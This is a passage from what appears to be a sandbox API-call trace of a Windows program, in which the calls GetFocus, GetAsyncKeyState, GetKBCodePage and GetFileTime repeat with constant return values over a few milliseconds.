lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.661] GetFocus () returned 0x0 [0032.661] GetAsyncKeyState (vKey=58) returned 0 [0032.661] GetKBCodePage () returned 0x1b5 [0032.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.661] GetFocus () returned 0x0 [0032.661] GetAsyncKeyState (vKey=58) returned 0 [0032.661] GetKBCodePage () returned 0x1b5 [0032.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.661] GetFocus () returned 0x0 [0032.661] GetAsyncKeyState (vKey=58) returned 0 [0032.661] GetKBCodePage () returned 0x1b5 [0032.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.661] GetFocus () returned 0x0 [0032.661] GetAsyncKeyState (vKey=58) returned 0 [0032.661] GetKBCodePage () returned 0x1b5 [0032.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.661] GetFocus () returned 0x0 [0032.661] GetAsyncKeyState (vKey=58) returned 0 [0032.662] GetKBCodePage () returned 0x1b5 [0032.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.662] GetFocus () returned 0x0 [0032.662] GetAsyncKeyState (vKey=58) returned 0 [0032.662] GetKBCodePage () returned 0x1b5 [0032.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.662] GetFocus () returned 0x0 [0032.662] GetAsyncKeyState (vKey=58) returned 0 [0032.662] GetKBCodePage () returned 0x1b5 [0032.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.662] GetFocus () returned 0x0 [0032.662] GetAsyncKeyState (vKey=58) returned 0 [0032.662] GetKBCodePage () returned 0x1b5 [0032.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.662] GetFocus () returned 0x0 [0032.662] GetAsyncKeyState (vKey=58) returned 0 [0032.662] GetKBCodePage () returned 0x1b5 [0032.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.662] GetFocus () returned 0x0 [0032.662] GetAsyncKeyState (vKey=58) returned 0 [0032.662] GetKBCodePage () returned 0x1b5 [0032.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.662] GetFocus () returned 0x0 [0032.662] GetAsyncKeyState (vKey=58) returned 0 [0032.662] GetKBCodePage () returned 0x1b5 [0032.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.662] GetFocus () returned 0x0 [0032.662] GetAsyncKeyState (vKey=58) returned 0 [0032.662] GetKBCodePage () returned 0x1b5 [0032.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.662] GetFocus () returned 0x0 [0032.662] GetAsyncKeyState (vKey=58) returned 0 [0032.662] GetKBCodePage () returned 0x1b5 [0032.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.662] GetFocus () returned 0x0 [0032.662] GetAsyncKeyState (vKey=58) returned 0 [0032.662] GetKBCodePage () returned 0x1b5 [0032.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.663] GetFocus () returned 0x0 [0032.663] GetAsyncKeyState (vKey=58) returned 0 [0032.663] GetKBCodePage () returned 0x1b5 [0032.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.663] GetFocus () returned 0x0 [0032.663] GetAsyncKeyState (vKey=58) returned 0 [0032.663] GetKBCodePage () returned 0x1b5 [0032.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.663] GetFocus () returned 0x0 [0032.663] GetAsyncKeyState (vKey=58) returned 0 [0032.663] GetKBCodePage () returned 0x1b5 [0032.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.663] GetFocus () returned 0x0 [0032.663] GetAsyncKeyState (vKey=58) returned 0 [0032.663] GetKBCodePage () returned 0x1b5 [0032.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.663] GetFocus () returned 0x0 [0032.663] GetAsyncKeyState (vKey=58) returned 0 [0032.663] GetKBCodePage () returned 0x1b5 [0032.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.663] GetFocus () returned 0x0 [0032.663] GetAsyncKeyState (vKey=58) returned 0 [0032.663] GetKBCodePage () returned 0x1b5 [0032.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.663] GetFocus () returned 0x0 [0032.663] GetAsyncKeyState (vKey=58) returned 0 [0032.663] GetKBCodePage () returned 0x1b5 [0032.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.663] GetFocus () returned 0x0 [0032.663] GetAsyncKeyState (vKey=58) returned 0 [0032.663] GetKBCodePage () returned 0x1b5 [0032.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.663] GetFocus () returned 0x0 [0032.663] GetAsyncKeyState (vKey=58) returned 0 [0032.663] GetKBCodePage () returned 0x1b5 [0032.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.664] GetFocus () returned 0x0 [0032.664] GetAsyncKeyState (vKey=58) returned 0 [0032.664] GetKBCodePage () returned 0x1b5 [0032.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.664] GetFocus () returned 0x0 [0032.664] GetAsyncKeyState (vKey=58) returned 0 [0032.664] GetKBCodePage () returned 0x1b5 [0032.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.664] GetFocus () returned 0x0 [0032.664] GetAsyncKeyState (vKey=58) returned 0 [0032.664] GetKBCodePage () returned 0x1b5 [0032.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.664] GetFocus () returned 0x0 [0032.664] GetAsyncKeyState (vKey=58) returned 0 [0032.664] GetKBCodePage () returned 0x1b5 [0032.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.664] GetFocus () returned 0x0 [0032.664] GetAsyncKeyState (vKey=58) returned 0 [0032.664] GetKBCodePage () returned 0x1b5 [0032.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.664] GetFocus () returned 0x0 [0032.664] GetAsyncKeyState (vKey=58) returned 0 [0032.664] GetKBCodePage () returned 0x1b5 [0032.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.664] GetFocus () returned 0x0 [0032.664] GetAsyncKeyState (vKey=58) returned 0 [0032.664] GetKBCodePage () returned 0x1b5 [0032.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.664] GetFocus () returned 0x0 [0032.664] GetAsyncKeyState (vKey=58) returned 0 [0032.664] GetKBCodePage () returned 0x1b5 [0032.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.664] GetFocus () returned 0x0 [0032.664] GetAsyncKeyState (vKey=58) returned 0 [0032.664] GetKBCodePage () returned 0x1b5 [0032.664] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.664] GetFocus () returned 0x0 [0032.665] GetAsyncKeyState (vKey=58) returned 0 [0032.665] GetKBCodePage () returned 0x1b5 [0032.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.665] GetFocus () returned 0x0 [0032.665] GetAsyncKeyState (vKey=58) returned 0 [0032.665] GetKBCodePage () returned 0x1b5 [0032.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.665] GetFocus () returned 0x0 [0032.665] GetAsyncKeyState (vKey=58) returned 0 [0032.665] GetKBCodePage () returned 0x1b5 [0032.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.665] GetFocus () returned 0x0 [0032.665] GetAsyncKeyState (vKey=58) returned 0 [0032.665] GetKBCodePage () returned 0x1b5 [0032.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.665] GetFocus () returned 0x0 [0032.665] GetAsyncKeyState (vKey=58) returned 0 [0032.665] GetKBCodePage () returned 0x1b5 [0032.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.665] GetFocus () returned 0x0 [0032.665] GetAsyncKeyState (vKey=58) returned 0 [0032.665] GetKBCodePage () returned 0x1b5 [0032.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.665] GetFocus () returned 0x0 [0032.665] GetAsyncKeyState (vKey=58) returned 0 [0032.665] GetKBCodePage () returned 0x1b5 [0032.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.665] GetFocus () returned 0x0 [0032.665] GetAsyncKeyState (vKey=58) returned 0 [0032.665] GetKBCodePage () returned 0x1b5 [0032.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.665] GetFocus () returned 0x0 [0032.665] GetAsyncKeyState (vKey=58) returned 0 [0032.665] GetKBCodePage () returned 0x1b5 [0032.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.665] GetFocus () returned 0x0 [0032.665] GetAsyncKeyState (vKey=58) returned 0 [0032.665] GetKBCodePage () returned 0x1b5 [0032.665] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.666] GetFocus () returned 0x0 [0032.666] GetAsyncKeyState (vKey=58) returned 0 [0032.666] GetKBCodePage () returned 0x1b5 [0032.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.666] GetFocus () returned 0x0 [0032.666] GetAsyncKeyState (vKey=58) returned 0 [0032.666] GetKBCodePage () returned 0x1b5 [0032.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.666] GetFocus () returned 0x0 [0032.666] GetAsyncKeyState (vKey=58) returned 0 [0032.666] GetKBCodePage () returned 0x1b5 [0032.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.666] GetFocus () returned 0x0 [0032.666] GetAsyncKeyState (vKey=58) returned 0 [0032.666] GetKBCodePage () returned 0x1b5 [0032.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.666] GetFocus () returned 0x0 [0032.666] GetAsyncKeyState (vKey=58) returned 0 [0032.666] GetKBCodePage () returned 0x1b5 [0032.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.666] GetFocus () returned 0x0 [0032.666] GetAsyncKeyState (vKey=58) returned 0 [0032.666] GetKBCodePage () returned 0x1b5 [0032.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.666] GetFocus () returned 0x0 [0032.666] GetAsyncKeyState (vKey=58) returned 0 [0032.666] GetKBCodePage () returned 0x1b5 [0032.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.666] GetFocus () returned 0x0 [0032.666] GetAsyncKeyState (vKey=58) returned 0 [0032.666] GetKBCodePage () returned 0x1b5 [0032.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.666] GetFocus () returned 0x0 [0032.666] GetAsyncKeyState (vKey=58) returned 0 [0032.666] GetKBCodePage () returned 0x1b5 [0032.666] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.667] GetFocus () returned 0x0 [0032.667] GetAsyncKeyState (vKey=58) returned 0 [0032.667] GetKBCodePage () returned 0x1b5 [0032.667] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.667] GetFocus () returned 0x0 [0032.667] 